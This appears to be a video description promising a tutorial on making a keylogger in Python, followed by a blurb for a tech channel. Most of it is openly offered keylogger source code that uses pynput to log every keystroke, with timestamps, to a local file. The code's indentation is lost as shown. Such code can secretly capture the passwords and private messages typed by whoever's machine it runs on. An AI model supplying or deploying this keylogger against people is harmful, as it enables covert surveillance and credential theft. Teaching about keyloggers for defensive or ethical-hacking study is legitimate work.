In this video i will show you how to make a keylogger in python. watch this video till end
KeyLogger Code:
from pynput.keyboard import Key, Listener
import logging
log_dir = ""
logging.basicConfig(filename=(log_dir + "keylogs.txt"), \
level=logging.DEBUG, format='%(asctime)s: %(message)s')
def on_press(key):
logging.info(str(key))
with Listener(on_press=on_press) as listener:
listener.join()
HaiderTech Provides all latest technical and other development videos, in these videos especially includes, Kali Linux Learning tutorials, Windows Tutorials, Ethical hacking, Python Programming, C Programming, Huawei HCIA R& S, Cisco networking , CCNA, Mathematics, English grammar, IOT, Raspberry Pi tutorials, Windows servers configuration, Technology news, and motivational Speeches, English and Urdu language